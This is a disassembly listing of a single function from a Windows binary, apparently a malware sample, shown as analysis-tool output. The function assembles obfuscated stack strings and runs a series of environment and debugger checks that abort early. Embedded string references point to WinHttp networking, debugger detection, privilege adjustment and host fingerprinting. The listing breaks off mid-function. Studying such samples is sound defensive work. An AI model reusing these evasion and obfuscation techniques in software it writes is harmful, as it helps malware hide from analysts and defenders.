Function at 0x1400072d4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
push rbp
lea rbp, [rax - 0x998]
sub rsp, 0xa90
mov rax, qword [0x140075280]
xor rax, rsp
mov qword [rbp + 0x980], rax
movdqa xmm0, xmmword [0x140057200]
lea rcx, [rbp + 0x5c0]
movdqa xmm1, xmmword [0x140057240]
xor edi, edi
xor eax, eax
mov byte [rbp + 0x5f0], dil
movdqu xmmword [rbp + 0x5c0], xmm0
mov dword [rbp + 0x258], 0x666b746e
movdqa xmm0, xmmword [0x140057230]
lea r14d, [rdi + 0xf]
mov qword [rsp + 0x60], r14
movdqu xmmword [rbp + 0x5d0], xmm1
mov dword [rbp + 0x25c], 0x55666d4c
movdqu xmmword [rbp + 0x5e0], xmm0
mov dword [rbp + 0x260], 0x3d34636a
mov byte [rbp + 0x264], dil
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x48], dil
call fcn.140037fe0
mov r8, rax
lea rdx, [rbp + 0x5c0]
lea rcx, [rsp + 0x48]
call fcn.1400023a8
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 8]
call fcn.140003d2c
xor r8d, r8d
lea rcx, [rsp + 0x48]
mov dl, 1
call fcn.1400021cc
lea rcx, [rbp - 0x58]
mov dword [rbp - 0x58], 0x333831
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x48], dil
call fcn.140037fe0
mov r8, rax
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x48]
call fcn.1400023a8
xor edx, edx
lea r8d, [rdi + 0xa]
lea rcx, [rsp + 0x48]
call fcn.1400071fc
xor r8d, r8d
lea rcx, [rsp + 0x48]
mov dl, 1
mov ebx, eax
call fcn.1400021cc
mov dl, bl
lea rcx, [rbp + 8]
call fcn.140005a30
mov r8, qword [rbp + 0x10]
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 8]
sub r8, rdx
mov qword [rbp - 0x18], 7
shr r8, 1
mov qword [rbp - 0x20], rdi
mov word [rbp - 0x30], di
call fcn.1400025e8
xor eax, eax
mov qword [rsp + 0x60], r14
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x48], dil
cmp byte [rbp + 0x258], dil
je 0x140007474
lea rcx, [rbp + 0x258]
call fcn.140037fe0
mov r8, rax
lea rdx, [rbp + 0x258]
lea rcx, [rsp + 0x48]
call fcn.1400023a8
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x10]
call fcn.140003d2c
xor r8d, r8d
lea rcx, [rsp + 0x48]
mov dl, 1
call fcn.1400021cc
mov dl, bl
lea rcx, [rbp - 0x10]
call fcn.140005a30
mov r8, qword [rbp - 8]
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp - 0x10]
sub r8, rdx
mov qword [rbp - 0x38], 7
shr r8, 1
mov qword [rbp - 0x40], rdi
mov word [rbp - 0x50], di
call fcn.1400025e8
call fcn.140004900
test al, al
jne 0x14000840f
call fcn.140006bd8
test al, al
je 0x14000840f
call fcn.140006d98
call fcn.140004cf0
test al, al
jne 0x14000840f
call fcn.140006d98
call fcn.140004fe4
test al, al
jne 0x14000840f
call fcn.1400043b8
test al, al
jne 0x14000840f
call fcn.140004024
test al, al
jne 0x14000840f
call fcn.140006d98
call fcn.1400041f0
test al, al
jne 0x14000840f
call fcn.140006d98
call fcn.1400042e8
test al, al
jne 0x14000840f
lea rcx, [rbp + 0x268]
mov dword [rbp + 0x268], 0x74736e49
mov dword [rbp + 0x26c], 0x656c6c61
mov word [rbp + 0x270], 0x72
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x48], dil
call fcn.140037fe0
mov r8, rax
lea rdx, [rbp + 0x268]
lea rcx, [rsp + 0x48]
call fcn.1400023a8
lea rcx, [rsp + 0x48]
call fcn.140004664
xor r8d, r8d
lea rcx, [rsp + 0x48]
mov dl, 1
mov bl, al
call fcn.1400021cc
test bl, bl
je 0x14000843d
xor eax, eax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
call fcn.14000540c
mov r8, qword [rsp + 0x50]
lea r9, [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
lea rcx, [rbp + 0x218]
call fcn.1400029c4
lea rcx, [rbp - 0x54]
mov dword [rbp - 0x54], 0x363831
call fcn.140039344
xor ecx, ecx
lea rdx, [rbp + 0x218]
mov qword [rbp + 0x20], rcx
mov r8b, al
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], rcx
lea rcx, [rbp + 0x20]
call fcn.1400047ec
call fcn.140004b9c
xor r8d, r8d
mov dword [rbp - 0x78], eax
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call fcn.140003c9c
mov rcx, qword [rbp + 0x20]
lea r9, [rbp - 0x68]
xor eax, eax
mov qword [rbp - 0x60], rcx
mov qword [rbp - 0x70], rax
lea r8, [rbp - 0x60]
mov rax, qword [rbp + 0x28]
lea rdx, [rbp - 0x78]
sub rax, rcx
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x68], rax
call fcn.1400031dc
mov rbx, qword [rbp - 0x70]
mov rcx, rbx
call fcn.1400089e8
movdqa xmm0, xmmword [str.37fDt8O3x7fEt423mLeYt8K3x7fWt96367fNt9u33rfVt8C3mLfNt9u33rfVt8C367fbt9631bfUt8K3mLfbt9631bfUt8K367fCt8e31rfet9O3mLfCt8e31rfet9O367fat8S3wbfUt8W3mLfat8S3wbfUt8W39LeNtu367fnt8W367fEt8S327fSt9a3mLfEt8S327fSt9a367fbt9631bfSt9a3mLfbt9631bfSt9a32LfQt8W31rfat5e30Lfct9i32bfQt5m31rfbt963zrfCt9m31LfZt5q337fYt9m307eZt9i3xLfEt5q31LfEt5m31LfYt9q38bfet9u30rfEtu31rfHt963mbfTt9u3zreEt4W3mbfTt9u3hreFt4e3mbfTt9u3xbfbt5m307fbt9u3vM046U3mB8Sd0FLAGetComputerNameAqrstuvwxyzABCDEFthm5LI3Wfi67rWHriJYPLtIQDzjN0zLGHIJKLMNOPQRSTUVGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat_]
movdqa xmm1, xmmword [0x140057070]
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmm0, xmmword [0x140057190]
movdqa xmmword [rbp + 0x340], xmm0
movdqa xmm0, xmmword [0x140057160]
movdqa xmmword [rbp + 0x330], xmm1
movdqa xmm1, xmmword [0x140057180]
movdqa xmmword [rbp + 0x360], xmm0
movdqa xmm0, xmmword [0x1400571a0]
movdqa xmmword [rbp + 0x350], xmm1
movdqa xmm1, xmmword [0x140057170]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm0, xmmword [0x140057100]
movdqa xmmword [rbp + 0x370], xmm1
movdqa xmm1, xmmword [0x1400570d0]
movdqa xmmword [rbp + 0x280], xmm0
movdqa xmm0, xmmword [0x1400571b0]
movdqa xmmword [rbp + 0x390], xmm1
movdqa xmm1, xmmword [0x140057150]
movdqa xmmword [rbp + 0x2a0], xmm0
movdqa xmm0, xmmword [str.37fDt8O3x7fEt423mLeYt8K3x7fWt96367fNt9u33rfVt8C3mLfNt9u33rfVt8C367fbt9631bfUt8K3mLfbt9631bfUt8K367fCt8e31rfet9O3mLfCt8e31rfet9O367fat8S3wbfUt8W3mLfat8S3wbfUt8W39LeNtu367fnt8W367fEt8S327fSt9a3mLfEt8S327fSt9a367fbt9631bfSt9a3mLfbt9631bfSt9a32LfQt8W31rfat5e30Lfct9i32bfQt5m31rfbt963zrfCt9m31LfZt5q337fYt9m307eZt9i3xLfEt5q31LfEt5m31LfYt9q38bfet9u30rfEtu31rfHt963mbfTt9u3zreEt4W3mbfTt9u3hreFt4e3mbfTt9u3xbfbt5m307fbt9u3vM046U3mB8Sd0FLAGetComputerNameAqrstuvwxyzABCDEFthm5LI3Wfi67rWHriJYPLtIQDzjN0zLGHIJKLMNOPQRSTUVGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat_]
movdqa xmmword [rbp + 0x290], xmm1
movdqa xmm1, xmmword [0x1400570c0]
movdqa xmmword [rbp + 0x8e0], xmm0
movdqa xmm0, xmmword [0x140057190]
movdqa xmmword [rbp + 0x2b0], xmm1
movdqa xmm1, xmmword [0x140057070]
movdqa xmmword [rbp + 0x900], xmm0
mov dword [rbp + 0x3a0], 0x5366626d
mov dword [rbp + 0x3a4], 0x332b3874
mov dword [rbp + 0x3a8], 0x3d637230
mov byte [rbp + 0x3ac], dil
mov dword [rbp + 0x2c0], 0x5366626d
mov dword [rbp + 0x2c4], 0x332b3874
mov dword [rbp + 0x2c8], 0x3d637230
mov byte [rbp + 0x2cc], dil
movdqa xmmword [rbp + 0x8f0], xmm1
movdqa xmm0, xmmword [0x140057160]
movdqa xmm1, xmmword [0x140057180]
movdqa xmmword [rbp + 0x920], xmm0
movdqa xmm0, xmmword [0x1400571a0]
movdqa xmmword [rbp + 0x940], xmm0
movdqa xmm0, xmmword [0x1400571f0]
movdqa xmmword [rbp + 0x960], xmm0
movdqa xmm0, xmmword [0x140057150]
movdqa xmmword [rbp + 0x910], xmm1
movdqa xmm1, xmmword [0x140057170]
movdqa xmmword [rbp + 0x890], xmm0
movdqa xmm0, xmmword [0x1400570a0]
movdqa xmmword [rbp + 0x930], xmm1
movdqa xmm1, xmmword [0x1400570b0]
movdqa xmmword [rbp + 0x8b0], xmm0
movdqa xmm0, xmmword [str.37fDt8O3x7fEt423mLeYt8K3x7fWt96367fNt9u33rfVt8C3mLfNt9u33rfVt8C367fbt9631bfUt8K3mLfbt9631bfUt8K367fCt8e31rfet9O3mLfCt8e31rfet9O367fat8S3wbfUt8W3mLfat8S3wbfUt8W39LeNtu367fnt8W367fEt8S327fSt9a3mLfEt8S327fSt9a367fbt9631bfSt9a3mLfbt9631bfSt9a32LfQt8W31rfat5e30Lfct9i32bfQt5m31rfbt963zrfCt9m31LfZt5q337fYt9m307eZt9i3xLfEt5q31LfEt5m31LfYt9q38bfet9u30rfEtu31rfHt963mbfTt9u3zreEt4W3mbfTt9u3hreFt4e3mbfTt9u3xbfbt5m307fbt9u3vM046U3mB8Sd0FLAGetComputerNameAqrstuvwxyzABCDEFthm5LI3Wfi67rWHriJYPLtIQDzjN0zLGHIJKLMNOPQRSTUVGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat_]
movdqa xmmword [rbp + 0x950], xmm1
movdqa xmm1, xmmword [0x140057100]
movdqa xmmword [rbp + 0x600], xmm0
movdqa xmm0, xmmword [0x140057190]
movdqa xmmword [rbp + 0x880], xmm1
movdqa xmm1, xmmword [0x1400571b0]
movdqa xmmword [rbp + 0x620], xmm0
movdqa xmm0, xmmword [0x140057160]
movdqa xmmword [rbp + 0x8a0], xmm1
movdqa xmm1, xmmword [0x1400571f0]
movdqa xmmword [rbp + 0x640], xmm0
movdqa xmm0, xmmword [0x1400571a0]
movdqa xmmword [rbp + 0x8c0], xmm1
movdqa xmm1, xmmword [0x140057070]
movdqa xmmword [rbp + 0x660], xmm0
movdqa xmm0, xmmword [0x1400571d0]
movdqa xmmword [rbp + 0x610], xmm1
movdqa xmm1, xmmword [0x140057180]
movdqa xmmword [rbp + 0x680], xmm0
movdqa xmm0, xmmword [0x140057100]
movdqa xmmword [rbp + 0x630], xmm1
movdqa xmm1, xmmword [0x140057170]
movdqa xmmword [rbp + 0x440], xmm0
movdqa xmm0, xmmword [0x1400571b0]
movdqa xmmword [rbp + 0x650], xmm1
movdqa xmm1, xmmword [0x140057140]
movdqa xmmword [rbp + 0x460], xmm0
movdqa xmm0, xmmword [0x1400571d0]
movdqa xmmword [rbp + 0x670], xmm1
movdqa xmm1, xmmword [0x140057150]
movdqa xmmword [rbp + 0x480], xmm0
movdqa xmm0, xmmword [str.37fDt8O3x7fEt423mLeYt8K3x7fWt96367fNt9u33rfVt8C3mLfNt9u33rfVt8C367fbt9631bfUt8K3mLfbt9631bfUt8K367fCt8e31rfet9O3mLfCt8e31rfet9O367fat8S3wbfUt8W3mLfat8S3wbfUt8W39LeNtu367fnt8W367fEt8S327fSt9a3mLfEt8S327fSt9a367fbt9631bfSt9a3mLfbt9631bfSt9a32LfQt8W31rfat5e30Lfct9i32bfQt5m31rfbt963zrfCt9m31LfZt5q337fYt9m307eZt9i3xLfEt5q31LfEt5m31LfYt9q38bfet9u30rfEtu31rfHt963mbfTt9u3zreEt4W3mbfTt9u3hreFt4e3mbfTt9u3xbfbt5m307fbt9u3vM046U3mB8Sd0FLAGetComputerNameAqrstuvwxyzABCDEFthm5LI3Wfi67rWHriJYPLtIQDzjN0zLGHIJKLMNOPQRSTUVGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat_]
movdqa xmmword [rbp + 0x450], xmm1
movdqa xmm1, xmmword [0x140057130]
movdqa xmmword [rbp + 0x6a0], xmm0
movdqa xmm0, xmmword [0x140057190]
movdqa xmmword [rbp + 0x470], xmm1
movdqa xmm1, xmmword [0x140057070]
movdqa xmmword [rbp + 0x6c0], xmm0
movdqa xmm0, xmmword [0x140057160]
movdqa xmmword [rbp + 0x6b0], xmm1
movdqa xmm1, xmmword [0x140057180]
movdqa xmmword [rbp + 0x6e0], xmm0
movdqa xmm0, xmmword [0x1400571a0]
movdqa xmmword [rbp + 0x6d0], xmm1
movdqa xmm1, xmmword [0x140057170]
movdqa xmmword [rbp + 0x700], xmm0
movdqa xmm0, xmmword [0x1400571e0]
movdqa xmmword [rbp + 0x6f0], xmm1
movdqa xmm1, xmmword [0x1400570f0]
movdqa xmmword [rbp + 0x720], xmm0
movdqa xmm0, xmmword [0x140057100]
movdqa xmmword [rbp + 0x710], xmm1
movdqa xmm1, xmmword [0x140057150]
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm0, xmmword [0x1400571b0]
mov byte [rbp + 0x970], dil
mov byte [rbp + 0x8d0], dil
mov dword [rbp + 0x690], 0x3d633732
mov byte [rbp + 0x694], dil
mov dword [rbp + 0x490], 0x3d633732
mov byte [rbp + 0x494], dil
mov dword [rbp + 0x730], 0x3d633732
mov byte [rbp + 0x734], dil
movdqa xmmword [rbp + 0x4b0], xmm1
movdqa xmm1, xmmword [0x1400570e0]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmm0, xmmword [0x1400571e0]
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmm0, xmmword [str.37fDt8O3x7fEt423mLeYt8K3x7fWt96367fNt9u33rfVt8C3mLfNt9u33rfVt8C367fbt9631bfUt8K3mLfbt9631bfUt8K367fCt8e31rfet9O3mLfCt8e31rfet9O367fat8S3wbfUt8W3mLfat8S3wbfUt8W39LeNtu367fnt8W367fEt8S327fSt9a3mLfEt8S327fSt9a367fbt9631bfSt9a3mLfbt9631bfSt9a32LfQt8W31rfat5e30Lfct9i32bfQt5m31rfbt963zrfCt9m31LfZt5q337fYt9m307eZt9i3xLfEt5q31LfEt5m31LfYt9q38bfet9u30rfEtu31rfHt963mbfTt9u3zreEt4W3mbfTt9u3hreFt4e3mbfTt9u3xbfbt5m307fbt9u3vM046U3mB8Sd0FLAGetComputerNameAqrstuvwxyzABCDEFthm5LI3Wfi67rWHriJYPLtIQDzjN0zLGHIJKLMNOPQRSTUVGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat_]
movdqa xmmword [rbp + 0x740], xmm0
movdqa xmm0, xmmword [0x140057190]
movdqa xmmword [rbp + 0x760], xmm0
movdqa xmm0, xmmword [0x140057160]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm0, xmmword [0x1400571a0]
movdqa xmmword [rbp + 0x7a0], xmm0
movdqa xmm0, xmmword [0x1400571d0]
movdqa xmmword [rbp + 0x7c0], xmm0
movdqa xmm0, xmmword [0x140057100]
movdqa xmmword [rbp + 0x4d0], xmm1
movdqa xmm1, xmmword [0x140057070]
movdqa xmmword [rbp + 0x500], xmm0
movdqa xmm0, xmmword [0x1400571b0]
movdqa xmmword [rbp + 0x750], xmm1
movdqa xmm1, xmmword [0x140057180]
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmm0, xmmword [0x1400571d0]
movdqa xmmword [rbp + 0x770], xmm1
movdqa xmm1, xmmword [0x140057170]
movdqa xmmword [rbp + 0x540], xmm0
movdqa xmm0, xmmword [str.37fDt8O3x7fEt423mLeYt8K3x7fWt96367fNt9u33rfVt8C3mLfNt9u33rfVt8C367fbt9631bfUt8K3mLfbt9631bfUt8K367fCt8e31rfet9O3mLfCt8e31rfet9O367fat8S3wbfUt8W3mLfat8S3wbfUt8W39LeNtu367fnt8W367fEt8S327fSt9a3mLfEt8S327fSt9a367fbt9631bfSt9a3mLfbt9631bfSt9a32LfQt8W31rfat5e30Lfct9i32bfQt5m31rfbt963zrfCt9m31LfZt5q337fYt9m307eZt9i3xLfEt5q31LfEt5m31LfYt9q38bfet9u30rfEtu31rfHt963mbfTt9u3zreEt4W3mbfTt9u3hreFt4e3mbfTt9u3xbfbt5m307fbt9u3vM046U3mB8Sd0FLAGetComputerNameAqrstuvwxyzABCDEFthm5LI3Wfi67rWHriJYPLtIQDzjN0zLGHIJKLMNOPQRSTUVGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat_]
movdqa xmmword [rbp + 0x790], xmm1
movdqa xmm1, xmmword [0x140057120]
movdqa xmmword [rbp + 0x7e0], xmm0
movdqa xmm0, xmmword [0x140057190]
movdqa xmmword [rbp + 0x7b0], xmm1
movdqa xmm1, xmmword [0x140057150]
movdqa xmmword [rbp + 0x800], xmm0
movdqa xmm0, xmmword [0x140057160]
movdqa xmmword [rbp + 0x510], xmm1
movdqa xmm1, xmmword [0x140057110]
movdqa xmmword [rbp + 0x820], xmm0
movdqa xmm0, xmmword [0x1400571a0]
movdqa xmmword [rbp + 0x530], xmm1
movdqa xmm1, xmmword [0x140057070]
movdqa xmmword [rbp + 0x840], xmm0
movdqa xmm0, xmmword [0x1400571c0]
movdqa xmmword [rbp + 0x7f0], xmm1
movdqa xmm1, xmmword [0x140057180]
movdqa xmmword [rbp + 0x860], xmm0
movdqa xmm0, xmmword [0x140057100]
movdqa xmmword [rbp + 0x810], xmm1
movdqa xmm1, xmmword [0x140057170]
movdqa xmmword [rbp + 0x560], xmm0
movdqa xmm0, xmmword [0x1400571b0]
movdqa xmmword [rbp + 0x830], xmm1
movdqa xmm1, xmmword [0x140057090]
movdqa xmmword [rbp + 0x580], xmm0
movdqa xmm0, xmmword [0x1400571c0]
movdqa xmmword [rbp + 0x850], xmm1
movdqa xmm1, xmmword [0x140057150]
movdqa xmmword [rbp + 0x5a0], xmm0
movdqa xmm0, xmmword [str.37fDt8O3x7fEt423mLeYt8K3x7fWt96367fNt9u33rfVt8C3mLfNt9u33rfVt8C367fbt9631bfUt8K3mLfbt9631bfUt8K367fCt8e31rfet9O3mLfCt8e31rfet9O367fat8S3wbfUt8W3mLfat8S3wbfUt8W39LeNtu367fnt8W367fEt8S327fSt9a3mLfEt8S327fSt9a367fbt9631bfSt9a3mLfbt9631bfSt9a32LfQt8W31rfat5e30Lfct9i32bfQt5m31rfbt963zrfCt9m31LfZt5q337fYt9m307eZt9i3xLfEt5q31LfEt5m31LfYt9q38bfet9u30rfEtu31rfHt963mbfTt9u3zreEt4W3mbfTt9u3hreFt4e3mbfTt9u3xbfbt5m307fbt9u3vM046U3mB8Sd0FLAGetComputerNameAqrstuvwxyzABCDEFthm5LI3Wfi67rWHriJYPLtIQDzjN0zLGHIJKLMNOPQRSTUVGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat_]
movdqa xmmword [rbp + 0x570], xmm1
movdqa xmm1, xmmword [0x140057080]
movdqa xmmword [rbp + 0x3b0], xmm0
movdqa xmm0, xmmword [0x140057190]
movdqa xmmword [rbp + 0x590], xmm1
movdqa xmm1, xmmword [0x140057070]
movdqa xmmword [rbp + 0x3d0], xmm0
movdqa xmm0, xmmword [0x140057160]
movdqa xmmword [rbp + 0x3c0], xmm1
movdqa xmm1, xmmword [0x140057180]
movdqa xmmword [rbp + 0x3f0], xmm0
mov dword [rbp + 0x4f0], 0x3d633732
mov byte [rbp + 0x4f4], dil
mov dword [rbp + 0x7d0], 0x3d633732
mov byte [rbp + 0x7d4], dil
mov dword [rbp + 0x550], 0x3d633732
mov byte [rbp + 0x554], dil
mov dword [rbp + 0x870], 0x3d633732
mov byte [rbp + 0x874], dil
mov dword [rbp + 0x5b0], 0x3d633732
mov byte [rbp + 0x5b4], dil
movdqa xmmword [rbp + 0x3e0], xmm1
movdqa xmm1, xmmword [0x140057170]
lea rdx, [rbp + 0x320]
movdqa xmm0, xmmword [0x1400571a0]
lea rcx, [rsp + 0x20]
movdqa xmmword [rbp + 0x400], xmm1
movdqa xmm1, xmmword [0x1400570d0]
movdqa xmmword [rbp + 0x420], xmm1
movdqa xmm1, xmmword [0x140057150]
movdqa xmmword [rbp + 0x410], xmm0
movdqa xmm0, xmmword [0x140057100]
movdqa xmmword [rbp + 0x2e0], xmm1
movdqa xmm1, xmmword [0x1400570c0]
movdqa xmmword [rbp + 0x2d0], xmm0
movdqa xmm0, xmmword [0x1400571b0]
movdqa xmmword [rbp + 0x300], xmm1
mov dword [rbp + 0x430], 0x4266626d
mov dword [rbp + 0x434], 0x332b3874
mov dword [rbp + 0x438], 0x3d634c30
mov byte [rbp + 0x43c], dil
movdqa xmmword [rbp + 0x2f0], xmm0
mov dword [rbp + 0x310], 0x4266626d
mov dword [rbp + 0x314], 0x332b3874
mov dword [rbp + 0x318], 0x3d634c30
mov byte [rbp + 0x31c], dil
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x1d8]
call fcn.14000482c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x280]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.14000482c
mov rdx, rax
lea rcx, [rbp + 0x1b8]
call fcn.14000590c
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x8e0]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x198]
call fcn.14000482c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x880]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.14000482c
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.14000590c
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x600]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x38]
call fcn.14000482c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x440]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.14000482c
mov rdx, rax
lea rcx, [rbp + 0x138]
call fcn.14000590c
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x6a0]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x118]
call fcn.14000482c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x4a0]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.14000482c
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.14000590c
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x740]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xd8]
call fcn.14000482c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x500]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.14000482c
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.14000590c
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x7e0]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x158]
call fcn.14000482c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x560]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.14000482c
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.14000590c
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x3b0]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x78]
call fcn.14000482c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
lea rdx, [rbp + 0x2d0]
lea rcx, [rsp + 0x20]
call fcn.140003384
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.14000482c
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.14000590c
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400021cc
cmp qword [rbp + 0x190], 0x10
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x198]
cmovae rdx, qword [rbp + 0x178]
cmp qword [rbp + 0x1b0], 8
cmovae rcx, qword [rbp + 0x198]
call fcn.140005570
cmp qword [rbp + 0x150], 0x10
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x38]
cmovae rdx, qword [rbp + 0x138]
cmp qword [rbp + 0x50], 8
cmovae rcx, qword [rbp + 0x38]
call fcn.140005570
cmp qword [rbp + 0x110], 0x10
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x118]
cmovae rdx, qword [rbp + 0xf8]
cmp qword [rbp + 0x130], 8
cmovae rcx, qword [rbp + 0x118]
call fcn.140005570
cmp qword [rbp + 0xd0], 0x10
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xd8]
cmovae rdx, qword [rbp + 0xb8]
cmp qword [rbp + 0xf0], 8
cmovae rcx, qword [rbp + 0xd8]
call fcn.140005570
cmp qword [rbp + 0xb0], 0x10
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x158]
cmovae rdx, qword [rbp + 0x98]
cmp qword [rbp + 0x170], 8
cmovae rcx, qword [rbp + 0x158]
call fcn.140005570
cmp qword [rbp + 0x70], 0x10
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x78]
cmovae rdx, qword [rbp + 0x58]
cmp qword [rbp + 0x90], 8
cmovae rcx, qword [rbp + 0x78]
call fcn.140005570
cmp qword [rbp + 0x1d0], 0x10
lea rdx, [rbp + 0x1b8]
lea rcx, [rsp + 0x68]
cmovae rdx, qword [rbp + 0x1b8]
call fcn.140003384
cmp qword [rbp + 0x1f0], 8
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x20]
cmovae rdx, qword [rbp + 0x1d8]
call fcn.1400033cc
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x20]
call fcn.140004b5c
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.14002163c
xor r8d, r8d
